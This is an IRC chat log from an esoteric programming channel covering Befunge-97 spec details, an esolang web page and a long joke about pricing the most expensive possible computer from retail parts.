aha 17:44:15 and runs bf as brainfuck, comments not allowed 17:44:17 Yeah, there's no math to that. You take the sum, and interpret it as a string. 17:44:25 in case you haven't realized yet, it's a bit hard to write a program for 17:44:26 right 17:44:31 ehird, yes that way it is 17:44:41 If by "hard" you mean "quite literally impossible within the lifespan of the universe" :P 17:44:41 I just didn't figure out which direction it was done 17:44:47 GregorR: http://codu.org/eso/ this page is funny 17:45:09 It used to work great, but I can never align it right now >_< 17:45:25 it looks like a geocities page 17:45:42 So does your FACE. 17:45:45 It's 2L :P 17:46:17 GregorR, why are you using two layers, it would be easier to just put it inline 17:47:00 It's a different color. It would actually be a fair PITA to put it inline. Plus that makes copy/paste useless. 17:47:31 GregorR, you need an extra newline before FYB, and then one before ORK 17:47:38 and several before Glass 17:47:58 other than that it looks fine in konqueror 17:48:15 AnMaster: Yeah, the problem is that certain browsers were displaying the boldness weird. I'm fixing it now to just not use bold (why did I not do that in the first place? :P ) 17:48:36 * ehird configures the most expensive Mac possible: $87,247. 17:48:38 Free shipping! 17:48:47 There, fixed. 17:48:51 ehird: Lawl 17:48:57 ehird: That'd better come with free blowjobs. 17:49:20 GregorR, ah you added the missing newlines 17:49:26 Admittedly, it's an Xserve with $49,995 "Alliance" Apple support, a service part kit, a $18,999 Promise VTrak E-Class 16x 450GB SAS RAID subsystem (7.2TB), an unlimited managed systems remote desktop kit, 17:49:28 bold worked just fine though 17:49:29 all the display adaptors, 17:49:31 TWO power supplies, 17:49:31 as far as I could see 17:49:38 a dual-channel 4gb fibre card 17:49:41 and a quad-channel of the same 17:49:43 AnMaster: No, the problem is that /some browsers/ made bold lines take up more space, so things got wonky. 17:49:51 3 1TB 7.2k rpm ones with a raid card 17:49:52 a 128GB ssd 17:49:54 GregorR, those are buggy IMO :P 17:49:59 24GB (6x4GB) ddr3 ecc ram 17:50:00 Yarly X_X 17:50:08 and 2 x 2.93ghz quad core Nehalem xeons 17:50:18 All for the LOW LOW LOW price of $87,247! 17:51:05 It's practically free. 17:51:43 Minus all that price :P 17:51:48 Yeah. 17:51:52 Just a bit of price from free. 17:54:08 "This Auction is for 3 x Apple power Mac G3 400Mhz, 128 Ram" for £1.04 on eBay. 17:54:16 Damn selling shit on ebay is stupid :-P 17:55:08 (I was trying to find the most expensive mac possible and the least expensive mac possible) 17:55:32 $1.56 to $87,247. Apple's covered all the market. 17:56:14 -!- impomatic has joined. 17:58:12 -!- BeholdMyGlory has joined. 17:59:16 "Best quality organic fertilizer, bovine based" 18:00:21 or "dung" 18:00:34 Slereah: sssh 18:00:58 ehird: Oh, you can buy far more expensive computers than that. 18:01:08 GregorR: Not macs 18:01:21 ehird: My point being that they haven't "covered all the market" 18:01:22 That is the singlemost expensive computer you can buy from apple.com 18:01:27 True. 18:01:40 GregorR: They've covered about 99% of it, then, at least :P 18:01:51 Have some info about CoreLife now, the second 2 dimensional programming language: http://corewar.co.uk/corelife/ 18:02:02 I'm not sure supercomputers like the RoadRunner can count as (a) one computer (b) a market of any kind 18:02:03 Predates Befunge by a few months 18:02:10 Somebody should reimplement that in JS. 18:04:39 CoreLife in JS, that'd be great :-) 18:05:18 Just submitted it to reddit to see what kind of comments it gets. 18:06:12 impomatic: http://esoteric.voxelperfect.net/wiki/Biota 18:06:24 also, http://esoteric.voxelperfect.net/wiki/Timeline_of_esoteric_programming_languages 18:06:38 he knows 18:06:45 Power Mac G3 for $1.04? Hot damn. 18:06:49 Sorry, 3x. 18:06:54 pikhq: Three of them! 18:06:59 * pikhq needs to upgrade his PII router. 18:07:01 :p 18:07:01 pikhq: And yeah, it only has one bid, but 22 hours to go 18:07:05 I suspect one of 18:07:13 (a) seller refuses to give 18:07:17 (b) price shoots up 18:07:19 (c) miracle happens 18:07:47 -!- puzzlet_ has joined. 18:07:48 Hmm. Allow me to try to make an absurdly expensive PC... 18:07:55 Sorting ebay sections by "Price + P&P: lowest first" is a nice way to prey on people's innate disability to recognize what things are worth 18:08:21 * pikhq wants 4^2 cores 18:08:21 "2x MAC OSX CDROMS V10.2" 18:08:23 TWO of them! WOW! 18:08:49 pikhq: With 2 x Nehalems, just enable hyperthreading = 16 threads at once 18:09:03 You definitely want to work in multiples of Xeon Nehalem 3.2ghzs 18:09:05 I said cores. 18:09:09 Not threads. 18:09:11 ;) 18:09:12 $1.6k per CPU 18:09:22 and that's from newegg 18:09:24 Well, yeah. If we're talking expensive, we're going with Intel. 18:09:29 and xeon 18:09:36 (unless AMD decided to make chips out of gold?) 18:09:37 the i7 of same speed is just $1k 18:09:38 well i fell asleep too early and wake up right now (2:10 AM here). :| 18:09:40 so... 18:09:45 Deewiant: (as a reply that should be done 6 hours ago) oh well, you know tkbf93? :p 18:09:50 pikhq: http://www.newegg.com/Product/Product.aspx?Item=N82E16819117179 18:10:01 pikhq: Get 4 of them. 18:10:07 = 16 cores 18:10:13 lifthrasiir: I have a copy of it :-P 18:10:15 I'll get more if there's a motherboard that can handle it. 18:10:24 pikhq: Also, for each one, get a Megahalems from Prolimatech: http://www.prolimatech.com/products/megahalems.html 18:10:32 lifthrasiir: And it segfaulted on chess.bef :-P 18:10:32 pikhq: It's not on newegg, but it costs about $80 iirc 18:10:33 LMAO 18:10:39 Deewiant: yes, that sucks :p 18:10:46 pikhq: So yeah, pretty expensive heatsink 18:10:53 maybe that was my first attempt to golf 18:11:01 $320 for 16 cores and you still need to buy fans :-) 18:11:07 lifthrasiir: Is it 64-bit clean? I didn't try 32-bit, maybe that's the reason? 18:11:22 pikhq: I'll help you find some megaexpensive ram, ey? 18:11:27 Deewiant: i cannot remember all the detail now. 18:11:29 Yeah. 18:11:35 pikhq: /msg 18:13:17 -!- tombom has quit ("Peace and Protection 4.22.2"). 18:13:44 lifthrasiir: Looks like it uses just int so it should be safe 18:13:54 Deewiant: hmm it seems to have growable (singly-linked) stack at least 18:14:24 lifthrasiir: Ah, I was wondering what Z was :-) 18:14:55 -!- jix_ has quit (Read error: 110 (Connection timed out)). 18:15:05 Since you're closing the file only when you exit you might as well have made that exit(0)... 18:15:36 Deewiant: anyway that was a holy crap. i could write better thing now... in terms of length of program. ;) 18:15:41 :-D 18:15:56 i see lots of rooms of improvement now 18:17:06 Deewiant: if you want to see more horrible thing, see http://hg.mearie.org/angolmois/file/angolmois-1.0/angolmois.c 18:18:07 lifthrasiir: 18:18:08 00manifest.i@angolmois-1.0: no match found 18:18:14 oh well 18:18:27 try this: http://hg.mearie.org/angolmois/file/22549e0cee7a/angolmois.c 18:18:28 http://hg.mearie.org/angolmois/file/a49bf45b49ef/angolmois.c 18:18:36 Ah, 1.0 18:18:37 :-) 18:18:46 more recent de-obfuscated version is quite readable. but 1.0 was horrible. 18:18:55 [CRC: 72fb6a0c] 18:18:56 :-D 18:19:27 AnMaster: the name esotope is a portmanteau of esoteric and isotope, popped from my head someday. 18:20:04 and DSL idea is good, but that could need heavy canonicalization that is yet not good in current phase. anyway thanks for suggestion. 18:20:10 -!- puzzlet has quit (Read error: 110 (Connection timed out)). 18:20:51 lifthrasiir, I got the idea from the optimiser DSL "oil" found in ick 18:23:04 Most "standard" computer 18:23:04 languages (like, C and Perl) really are Unefungoids. 18:24:05 Deewiant: with "x" set-delta commands? :p 18:24:21 More like j 18:24:29 ah yes 18:24:30 AnMaster: Befunge-97 spec is there 18:24:40 AnMaster: "Edit #2 (rough) - Jun 5 Chris Pressey" 18:24:59 yay 18:25:06 err 18:25:07 As I thought, directives contain = 18:25:09 Deewiant, same file? 18:25:13 Yes. 18:25:24 ah 18:25:37 I knew I wasn't thinking just about Mini-Funge :-P 18:26:22 ok, don't have time to read it right away, going afk for a bit. I guess I will put them cut out specs (and the original file) up somewhere, with permission from the person you got the file from 18:26:29 Some nice multithreaded instructions there 18:26:54 Funky blocking is provided by Y "Merge Threads". 18:26:58 Funky blocking :-D 18:27:00 Deewiant: back to the angolmois, it has an embedded font; it parses game data file itself and generates all the surfaces on the fly. i wasted my time a lot 5 years ago, and never want to do such thing more XD 18:27:08 :-D 18:27:09 Hmmm... time to go, it's a quiz night :-( 18:27:19 -!- impomatic has left (?). 18:27:29 In Befunge-97, any existing command (see Appendix A) can be redefined in 18:27:29 one of three ways: rebinding it to another existing Befunge command with B 18:27:29 "Bind Command", defining a routine with D "Define Routine", or defining it 18:27:29 to a runtime library call with L "Bind Library Call". 18:28:34 Library calls look like just implementation-dependant FFI 18:28:38 Heh, five different types of wrapping you can select from. 18:30:41 *Monefungoid: like a Unefungoid but only capable of going one direction 18:30:41 (the IP can't move backwards.) 6502 Assembly language is a monefungoid. 18:30:41 (I considered Polariziunefungoid but discarded it for obvious reasons.) 18:30:42 -!- tombom has joined. 18:32:06 AnMaster: FWIW that's not the latest version, he updates it later but only links to his now-defunct web site. 18:42:14 Hah, queuemode got added to Befunge-97 18:43:17 -!- oerjan has quit ("leaving"). 18:50:31 Deewiant: Me and pikhq's megarig is currently at $22,790.56 for CPUs, mobo, RAM, CPU coolers, thermal compound and graphics cards 18:50:34 *mega-rig 18:50:38 We're nowhere near done :-) 18:50:51 Is that mostly RAM? 18:51:00 Deewiant: $6,239 of RAM. 18:51:01 128GB. 18:51:06 ... only DDR2, though, but... 18:51:14 8 CPUs of 4 cores each. 18:51:15 But it's 128GB. 18:51:23 We had to buy a $553 expansion card for the mobo to support more CPUs and RAM 18:51:24 Where'd you find a mobo with 8 sockets? O_o 18:51:27 The RAM is in 32 sticks 18:51:30 Deewiant: Nope, 4 sockets 18:51:34 And an expansion card using two pci x16 18:51:37 Ah. 18:51:39 That gives more RAM and CPU sockets 18:51:41 Xeon? 18:51:43 As hypertransport slots. 18:51:44 Nope 18:51:46 AMD's more expensive 18:51:47 Opteron. 18:51:49 :-D 18:51:50 Because Intel only do dual motherboards 18:51:52 -!- MizardX has quit ("back in 30 minutes or so"). 18:52:20 Most Expensive CPUs As Power Goes Upwards: Intel AMD 18:52:37 :-P 18:54:17 Deewiant: we just spend $141.96 on RAM fans. 18:54:26 Four of them, to cool our 32 RAM sticks. 18:54:37 :-) 18:54:47 How many decibels do you estimate that thing is at? 18:54:49 400? 18:55:04 No, but I bet it's going to hit 100. 18:55:05 Deewiant: So far, probably about 60dB or thereabouts 18:55:17 (the air can only handle 180dB or so) 18:55:28 That's 8 CPU fans, 4 RAM fans, and 2 stock graphics card fans 18:55:35 Apparently the RAM fans are horribly noisy from a review 18:55:41 Deewiant: We have 8 of these: http://www.newegg.com/Product/Product.aspx?Item=N82E16835103056 18:55:42 :D 18:55:48 I'm not sure they'd fit, but we can just mod them if not, right? 18:55:54 Stock GPU fans? Go custom 18:55:59 Deewiant: Can't 18:56:05 Whaddya mean can't 18:56:09 "Money can buy". 18:56:09 Deewiant: It's a GTX 285 18:56:12 It's only been out since december 18:56:17 So what 18:56:19 And also, VGA coolers top out at around $50 on newegg 18:56:22 Just mod them 18:56:22 Deewiant: nothing supports it 18:56:23 I looked 18:56:26 You don't need "support" 18:56:33 My cooler supports up to the X1300 or so 18:56:33 True enough. 18:56:36 And we don't care about $50. 18:56:39 But yeah./ 18:56:42 $50 isn't worth it. 18:56:43 It fit just fine, after removing a bit of the heatsink 18:56:45 There are bigger fish. 18:56:46 We're spending more on SATA cables. 18:56:47 ;) 18:56:53 And stock GPU coolers are really fucking loud anyway ;-) 18:57:08 ehird, who are these "we"? 18:57:09 (I assume we'll max out the onboard SATA and the RAID card, right?) 18:57:14 ehird and I. 18:57:18 AnMaster: Me and pikhq trying to build the most expensive computer, ever. 18:57:23 We're spending $6k just on RAM. 18:57:23 ah 18:57:27 ouch! 18:57:37 128GB. 18:57:38 OK, so pikhq, we have processors, motherboard, cpu expansion card, RAM, ram fans, CPU fans/heatsinks, thermal compound and video cards. 18:57:52 I think, I think we should go buy some expensive harddrives 18:57:55 I'll look at hard drives, you look at RAID cards? 18:57:56 IODrives 18:58:01 ehird, not the loudest one? 18:58:04 I'll look at hard drives 18:58:05 For RAID cards I recommend Areca 18:58:15 Deewiant: We don't have spare PCI slots any more. 18:58:17 AnMaster: comes with the deal 18:58:17 hm 18:58:18 I think they're on the high end of things 18:58:20 Darn 18:58:22 pikhq: PCI expansion cards? 18:58:24 pikhq: THe ramsans go into pci 18:58:25 ehird, AND just do IBM RoadRunner but with twice as many CPUs. That will be more expensive I bet 18:58:31 AnMaster: That's not a computer 18:58:34 That's a cluster 18:58:42 Anyway 18:58:46 Our 8 CPUs are using two PCIe, the GPUs are using two more, and we have another PCI slot for the RAID. 18:58:47 I'll find the most expensive SATA harddrives 18:58:47 true 18:58:58 Probably an SSD, mayb 18:58:58 e 18:59:08 ehird, SSD with ram cache? 18:59:16 LOL WAT 18:59:18 pikhq: 18:59:19 Or some absurdly speedy 1.5TB drive. 18:59:19 147GB hd 18:59:22 15k RPM 18:59:25 LOL WAT? 18:59:27 *SCSI* 18:59:28 $359.99 18:59:32 * pikhq <3 18:59:35 The most expensive single harddrive on newegg 18:59:38 Well, internal. 18:59:39 haha 18:59:40 Is it SAS? 18:59:40 LEt's look at the... 18:59:41 SOLID 18:59:42 STATE 18:59:44 DISKS 18:59:46 a 18:59:48 k 18:59:50 a 18:59:52 EXPENSIVE 18:59:52 ... 18:59:54 DISKS 18:59:56 pikhq: $799 18:59:58 Intel X25-E 19:00:00 pikhq: Something like 64GB 19:00:05 yep 19:00:06 64GB 19:00:10 pikhq: How many sata slots do we have? 19:00:12 why 19:00:13 so 19:00:14 many 19:00:17 n 19:00:18 e 19:00:18 w 19:00:19 l 19:00:20 i 19:00:20 AnMaster: Because this is epic. 19:00:21 n 19:00:21 8 on the mobo, dunno on the RAID. 19:00:21 e 19:00:23 s 19:00:26 AnMaster: fuck off 19:00:27 ? 19:00:38 pikhq: OK, so $6,392 of SSD madness. 19:00:49 pikhq: A whopping 512GB of storage. 19:01:01 Get an SATA RAID card and stick a 2TB drive on there. 19:01:08 Ah hm 19:01:09 Or something. 19:01:10 d 19:01:10 i 19:01:10 a 19:01:10 g 19:01:10 o 19:01:10 n 19:01:12 a 19:01:14 l 19:01:16 (For best viewing experience please use a monospace font.) 19:01:18 * AnMaster runs 19:01:25 pikhq: Maybe we should fill EVERY SLOT with a SATA RAID card. 19:01:29 And fill those cards with X25-Es 19:01:41 Y'mean, instead of the graphics card? 19:01:42 pikhq: y/n 19:01:46 I think I approve. 19:01:46 No no no 19:01:51 Oh. 19:01:53 Can't you get SATA raid things 19:01:53 As in 19:01:55 They go direct into SATA 19:02:02 *Oh*. 19:02:04 Hmm 19:02:10 You can right? 19:02:18 Ooh. 19:02:18 Dunno. 19:02:28 pikhq: the top single areca raid card is $1,599 19:02:31 takes up a pci x8 19:02:35 and I loathe to lose graphics cards 19:02:35 Spiffy. 19:02:39 But, um, we'll use onboard video, right? 19:02:44 Right. 19:02:49 So we want two of them. 19:02:53 Oh my god. 19:02:54 pikhq? 19:02:56 It has a fan. 19:02:59 The fucking RAID card. Has a fan. 19:03:00 :D 19:03:06 I approve. 19:03:08 This RAID card. Is the most powerful RAID card on the planet. 19:03:10 Gahs this library is very unfun to install. 19:03:16 # This file is part of SEP's set of GNU make rules for painless compilation 19:03:16 # This file overrides defaults that are incorrect for the SUN4 architecture 19:03:22 SYSLIB= /usr/lib/gcc-lib/i386-redhat-linux/egcs-2.91.66/libg2c.a -lm 19:03:22 ehird: Interesting that your HDs are so cheap 19:03:33 That line is not making this very painless. 19:03:40 OK, pikhq, 19:03:42 I found some things that cost 2000 € 19:03:49 Internal Connectors6xSFF-8087 19:03:50 Maybe they're just rare 19:03:54 Are those the harddrive thingies 19:04:15 pikhq? 19:04:19 * pikhq Wikipedes 19:04:23 I wanna know how many HDs can go in one of these cards 19:04:29 We're still filling the sata ports with x25-E 19:04:29 s 19:04:34 and we'll fill these raids with them too 19:04:58 It's a SAS connector. 19:05:11 pikhq: So we can't connect SATA drives? 19:05:15 ... is there an adaptor? 19:05:19 We can buy 6 adaptors, you see. 19:05:21 ehird, so you are trying to make it as loud as well? 19:05:28 AnMaster: That's just a bonus. 19:05:28 as loud as possible as well* 19:05:31 ah 19:05:35 Cost takes precedent. 19:05:37 *predecence 19:05:40 *precedence 19:05:42 ehird, how much would replacing this with passive cooling cost 19:05:46 or water cooling 19:05:46 SATA drives can be hooked to SAS controllers. 19:05:50 AnMaster: $infinity for passive cooling. 19:05:51 Just not the other way around. 19:05:58 $-something for water cooling 19:06:04 ehird, ok, go for replacing it all with water cooling then! 19:06:07 No 19:06:08 Minus. 19:06:10 It would cost less. 19:06:15 You can't beat $1,119 on fans and heatsinks for the CPUs. 19:06:16 pikhq: Alright. 19:06:22 SFF-8087 is something you can connect four SATA drives into, I think. 19:06:23 pikhq: So one card holds 6 drives? 19:06:23 ehird, sure? 19:06:32 pikhq: So we need 12 more drives. 19:06:51 Well, at least there exists a four-port SFF-8087 connector; I'm not sure if they all are like that. 19:06:52 pikhq: $15,980 on storage. 19:06:58 ehird, sure the power supply can handle it? 19:07:06 AnMaster: we'll have two 19:07:06 We can get a PCI RAID card, right? 19:07:07 or four 19:07:12 pikhq: these are pci 19:07:17 http://www.newegg.com/Product/Product.aspx?Item=N82E16816151053 19:07:20 We're getting two 19:07:21 Pay attention 19:07:23 And each does 6 drives 19:07:24 You said "PCI x8". Which is PCIe. 19:07:27 Ah. 19:07:32 ehird, mhm, you can't fit them inside the case then right? Unless you are using some weird server case with a backup power supply 19:07:33 Wait 19:07:35 Normal PCI. 19:07:39 != 19:07:40 PCIe. 19:07:42 but in those cases it is for power supply 19:07:46 That is PCIe. 19:07:48 pikhq: RAID cards + SSDs currently total to $19,179.98 19:07:54 pikhq: I'll find the most expensive regular PCI raid card 19:08:13 pikhq: I think we may need to invent a new kind of mathematics to calculate this price 19:08:18 Omegad. 19:08:25 pikhq: how much IDE shit does our mobo have? 19:08:27 None? Some? 19:08:32 ehird: Yes, if it is that "ARC-1680IX-24 PCIe x8 SAS RAID Card" card you can connect 24 drives in it. Four to each SAS connector. 19:08:35 And you can buy SATA←→IDE adaptors, right? 19:08:35 1 IDE connector. 19:08:39 fizzie: WOW. 19:08:40 REALLY? 19:08:43 ... Yes. 19:08:44 EVEN MORE! 19:08:45 Yes, you can. 19:08:55 56 SSDs. 19:08:57 fizzie: OMG. 19:08:58 That's $44,744 19:09:12 HAHAHA 19:09:14 what OS will you use? I bet window would be the most expensive OS to use on it 19:09:19 AnMaster: No way man 19:09:22 Think enterprise 19:09:25 But pikhq. 19:09:26 OMG. 19:09:28 56 fucking drives. 19:09:29 AnMaster: RHEL. 19:09:37 pikhq, RHEL is expensive? 19:09:39 I have no clue 19:09:39 ehird: :D 19:09:39 Okay, pikhq? Find the most expensive SATA to IDE cable, please. 19:09:45 pikhq: Then we'll add one more SSD in to it, you see. 19:09:47 AnMaster: Thousand or so a seat. 19:09:57 ehird: Two SSDs, you mean. 19:10:02 pikhq, using windows would be cheaper indeed... 19:10:03 pikhq: You said one IDE port. 19:10:04 One IDE handles two drives. 19:10:06 Ah. 19:10:07 Okay. 19:10:08 I didn't know. 19:10:12 OK, find two adaptors, pikhq? Or one. 19:10:13 ehird: "Charged" 19:10:13 I don't know. 19:10:16 Just find the adaptors we need. 19:10:17 bsmntbombdood: Nice. 19:10:25 bsmntbombdood: Will you buy THIS rig for us? 19:10:27 It's currently at... 19:10:45 at what 19:10:48 bsmntbombdood: $70,016.52 19:10:53 schweet 19:10:54 And no way are we done. 19:10:59 pikhq: Go find that adaptor, boy. 19:11:03 that's gotta be mostly disks? 19:11:03 I'll find a regular PCI raid card. 19:11:07 Searching. 19:11:11 bsmntbombdood: $44k of SSDs 19:11:13 but the ram is $6k 19:11:15 bsmntbombdood, we're spending some $6,000 on RAM. 19:11:25 the processors are $14k, bsmntbombdood 19:11:29 eight four-core opterons 19:11:37 ehird: Those RAID cards each have an external SAS slot as well. 19:11:42 *Enclosures*. 19:11:43 :) 19:11:47 pikhq: let's figure that out later 19:11:51 GET THAT ADAPTOR BITCH :P 19:11:59 * pikhq is looking 19:12:12 ehird, what CPU 19:12:15 Hey pikhq, we only have one PCI slot right? 19:12:18 19:11 ehird: eight four-core opterons , AnMaster 19:12:20 Yeah. 19:12:23 ah 19:12:35 ehird, sure you can't do more? 19:12:44 AnMaster: yes 19:12:46 we calculated 19:12:51 pikhq: Hmm. Not worth it. $269.99 is the most expensive raid thing for PCI 19:12:58 I'm sure we can find a better use 19:12:58 I mean the most expensive mobo might not be the one that allows the most expensive equipment! 19:13:03 Oh wait 19:13:03 Maybe. 19:13:04 pikhq: it is worth it 19:13:07 since it adds another ssd 19:13:09 what mobo? 19:13:12 ehird, so a cheaper mobo might result in a higher total cost 19:13:15 bsmntbombdood: http://www.newegg.com/Product/Product.aspx?Item=N82E16813151085 19:13:18 AnMaster: We know, goddamn. 19:13:20 We've played with permutations 19:13:23 AnMaster: This mobo supports the most CPUs. 19:13:23 ah 19:13:25 And the most RAM. 19:13:30 pikhq, most PCI cards? 19:13:33 ehird: unnacceptable 19:13:36 We've got 32 freaking RAM slots. 19:13:37 bsmntbombdood: what 19:13:49 pikhq: there are no PCI raid cards 19:13:49 sry 19:13:51 pikhq: found that adaptor? 19:13:51 -!- cherez has joined. 19:13:56 In a motherboard that supports more than one CPU slot. 19:13:57 ehird: Not yet. 19:14:03 -!- cherez has quit (Client Quit). 19:14:03 i thought you were using xeons ? 19:14:08 bsmntbombdood: turned out cheaper 19:14:08 XD 19:14:11 due to only being able to have 2 procs 19:14:27 don't go for money...go for performance without hinderance from money 19:14:31 No no no. 19:14:32 We're going for money. 19:14:34 That's the goal. 19:14:45 We can do performance tomorrow :P 19:14:46 lame 19:14:58 ehird, what form factor is that mobo O_o 19:15:05 It is also very high performance. 19:15:12 AnMaster: We have a PCIe expansion card for the 4 more CPUs 19:15:12 and opterons are NUMA 19:15:20 We've got 4 GB per core. 19:15:23 bsmntbombdood, NUMA > SMP 19:15:35 ehird: It's a hypertransport card. 19:15:46 pikhq: that's it? 19:15:50 AMD has a freaky way of doing Hypertransport via PCIe slots. 19:15:51 bsmntbombdood: dude 19:15:53 that's 128GB in total 19:15:56 bsmntbombdood: Largest DDR2 stick. 19:15:56 pikhq, wow 19:16:06 only ddr2 memory? 19:16:06 128GB. 19:16:09 bsmntbombdood: yes 19:16:11 it's most expensive 19:16:15 4GB ddr2 is highly expensive 19:16:18 bbiab 19:16:19 one stick 19:16:21 that's retarded 19:16:22 $194.99 19:16:29 God, bsmntbombdood, we're going for PRICE. 19:16:30 -!- Hiato has joined. 19:16:41 it's trivial to go for price 19:16:51 We've spent over an hour on it. 19:16:52 Yes it is. But we're doing it, you globmonkey. 19:16:56 pikhq: found that adaptor? 19:17:08 ehird: I'm looking for it. 19:17:15 Gah, I'll look 19:17:40 Argh, they're all the wrong way around 19:17:48 pikhq: hey hey 19:17:49 pikhq: we can go 19:17:52 sata → usb → ide 19:17:57 i'm pretty sure 19:18:07 pikhq: :)))) 19:18:12 ehird: buy a ramsan 19:18:15 Uh, no... 19:18:18 pikhq: yep 19:18:22 i found sata→usb 19:18:24 and usb→ide 19:18:25 We can go USB -> SATA, though... 19:18:29 *What*?!? 19:18:31 bsmntbombdood: "contact for price" 19:18:33 Makes no sense. 19:18:33 pikhq: yep 19:18:35 http://www.newegg.com/Product/ProductList.aspx?Submit=ENE&DEPA=0&Order=BESTMATCH&Description=ide+sata+adapter&x=0&y=0 19:18:38 scroll down a bit 19:18:41 Nippon Labs USB-SATA USB to IDE/SATA Adapter w/ power - Retail 19:18:43 is the final connection 19:18:47 and 19:18:47 SABRENT USB-DSC5 Serial ATA (SATA) or IDE 2.5" and 3.5" to USB 2.0 Cable Converter Adapter - Retail 19:18:48 wait what? 19:18:49 voila 19:18:56 SATA→USB→IDE 19:18:59 why are you even considering usb or pata for anything? 19:19:04 bsmntbombdood: shut up 19:19:07 we're getting x25-Es 19:19:08 slow as shit 19:19:08 and they're expensive 19:19:12 and we want two more drives 19:19:16 so we need to put IDE shit 19:19:16 How much was that x25-E? 19:19:18 but the ssds only do sata 19:19:21 pikhq: $700 or so a pop 19:19:25 get 32 x25-es and raid 10 them 19:19:26 And we can do two more of them with these adaptors 19:19:30 Hard to beat. 19:19:36 bsmntbombdood: STFU, we're getting 56 of them already 19:19:40 with IDE we can get58 19:19:41 lawl 19:19:51 pikhq: shall I add those adapters? 19:20:05 Just a sec. 19:20:21 I think I found the normal IDE->SATA adaptors. 19:20:29 err 19:20:30 pikhq: wrong way around 19:20:37 we have a sata drive and want to plug it into ide 19:20:41 Yes. 19:20:44 we can do this by going via usb 19:20:46 IDE->SATA. 19:20:51 oh 19:20:54 that's the way you do the diagram? 19:20:55 heh 19:21:03 pikhq: how much is it? 19:21:06 via USB may be more expensive 19:21:15 ... 19:21:16 -!- cherez has joined. 19:21:16 -!- cherez has quit (Remote closed the connection). 19:21:16 http://www.newegg.com/Product/Product.aspx?Item=N82E16812200373 ? 19:21:23 But that's just plain silly. 19:21:26 pikhq: ours is more expensive 19:21:29 $39.98 for each drive 19:21:34 I mean, more so than what we've been doing previously. 19:21:35 -!- cherez has joined. 19:21:40 Oh, fine. 19:21:44 -!- cherez has left (?). 19:22:11 you can get external sata->sata raid cards can't you? 19:22:14 http://www.newegg.com/Product/Product.aspx?Item=N82E16812200196 Also, this one is $26.99 per drive. 19:22:22 we now have $46,342 in SSDs 19:22:23 pikhq: nice. 19:22:33 back 19:22:39 Erm. That's just $26.99. Oh well. 19:22:46 pikhq: want the current total? 19:23:06 Processors, motherboard, CPU card, RAM, RAM fans, CPU fans/heatsinks, thermal compound, RAID cards, IDE to SATA adapters, and drives 19:23:07 http://www.newegg.com/Product/Product.aspx?Item=N82E16812200156 This is $30 per drive, though. 19:23:09 ehird: Sure. 19:23:19 hmm I'll add that then total 19:23:30 OK 19:23:31 here goes 19:24:03 WITH STORAGE: $72,674.41 19:24:07 WITHOUT STORAGE: $26,332.41 19:24:13 (that's JUST the ssds missing) 19:24:14 ehird: how do you define "computer"? 19:24:20 ehird, how many GB 19:24:30 AnMaster: 3712GB 19:24:30 bsmntbombdood: Single system. 19:24:32 so about 3TB 19:24:32 ;p 19:24:40 that's if you RAID 0, of course 19:24:43 pikhq: go on 19:24:45 64GB per disk and 58 disks 19:24:55 ehird, RAID 1 them. More *wasted* money then 19:25:02 ;P 19:25:17 pikhq: OK, I think we need some optical drives now? 19:25:24 (RAID 1 does make sense, just not for *THAT* many drives) 19:25:29 To burn and rip the family photos / music albums. 19:25:33 You know, on this family PC. 19:25:34 Aren't there those SATA multiplexers? 19:25:39 In 3000 AD. 19:25:39 ehird: Definitely. 19:25:43 Bluray burner? 19:25:47 also, I think maxing out storage any further sux 19:25:50 it's $44k already 19:25:51 http://www.newegg.com/Product/Product.aspx?Item=N82E16816102107 19:25:53 it's almost like cheating 19:25:53 what about floppy? 19:25:57 I assume you get at least two 19:26:06 bsmntbombdood: what does that buy us 19:26:15 it looks good, I just don't know what it does :-) 19:26:19 also, it looks a bit too external 19:26:36 ehird, does the mobo actually have onboard video? 19:26:37 AnMaster: We'll get the best fucking floppies in the universe. 19:26:38 -!- psygnisfive has quit (Remote closed the connection). 19:26:41 And yes. 19:26:43 It's a server board. 19:26:43 ah 19:26:54 $329.99 for the most expensive bluray burner 19:26:58 pikhq: how many can we fit? 19:26:59 Oh wait. 19:27:00 you can get 8 of those with your mobo, so 96 drives 19:27:03 We've maxed out the slots, haven't we pikhq? 19:27:04 http://www.newegg.com/Product/Product.aspx?Item=N82E16827248014 Most expensive internal burner. 19:27:09 Yeah. 19:27:11 No 19:27:12 $329.99 19:27:13 http://www.newegg.com/Product/ShowImage.aspx?CurImage=13-151-085-S02&ISList=13-151-085-S01%2c13-151-085-S02%2c13-151-085-S03%2c13-151-085-S04%2c13-151-085-S05&S7ImageFlag=1&Item=N82E16813151085&Depa=0&WaterMark=1&Description=TYAN%20S4985G3NR%20SSI%20MEB%20footprint%20Server%20Motherboard%20-%20Retail <--- *three* ethernet ports? 19:27:14 There's PCI SATA slots. 19:27:22 ehird, what about case 19:27:23 Mmkay. 19:27:23 AnMaster: Yeah. 19:27:26 pikhq: Just tell me how much free we have ;-) 19:27:33 1 PCI slot. 19:27:42 pikhq: OK, so only one burner. 19:27:46 Do we need any adapter shit? 19:27:48 The external SAS slots on the RAID cards. 19:27:55 Ah. 19:27:56 So 3. 19:28:05 989.97 on burners 19:28:05 Not bad 19:28:23 Each SAS slot is 4 SCSI slots. 19:28:25 Erm. 19:28:28 Ooh. 19:28:29 SATA. 19:28:37 ;) 19:28:39 So 9 burners? 19:28:45 err 19:28:49 Do we need an adapter for the PCI slot thing, pikhq? 19:28:53 The non-RAID one. 19:28:56 hopefully you are considering how to package this stuff 19:28:59 Yeah. Just a sec. 19:29:06 you do need some sort of case 19:29:09 ehird, pikhq: case, what about case? 19:29:09 bsmntbombdood: One absurdly massive case. 19:29:12 yeah 19:29:16 They make large enough cases. 19:29:16 biggest case in the universe 19:29:17 bsmntbombdood, yes I said that about a minute ago before 19:29:19 s/case/a full rack/ 19:29:23 haha 19:29:26 :) 19:29:29 just put it in a cardboard box 19:29:34 http://www.newegg.com/Product/Product.aspx?Item=N82E16816102107 19:29:36 use that 19:29:38 it's perfect 19:29:39 MADE OF GOLD. 19:29:54 pikhq: have you got the adapter? 19:30:09 pikhq: I kind of feel like we should cut back on storage, you can grow the price there pretty much unbounded 19:30:11 :P 19:30:12 Not yet; will soon. 19:31:02 actually, i think you could arrange that external raid controller in a tree 19:31:15 bsmntbombdood: see, that's the thing 19:31:19 you can have pretty much infinite storage 19:31:23 for pretty much infinite dollars 19:31:26 where's the challenge? 19:31:28 ... 19:31:31 that's what i said 19:31:31 it's just free ... anti-money 19:31:32 http://www.newegg.com/Product/Product.aspx?Item=N82E16816102080 19:31:41 other components, now that takes skill to 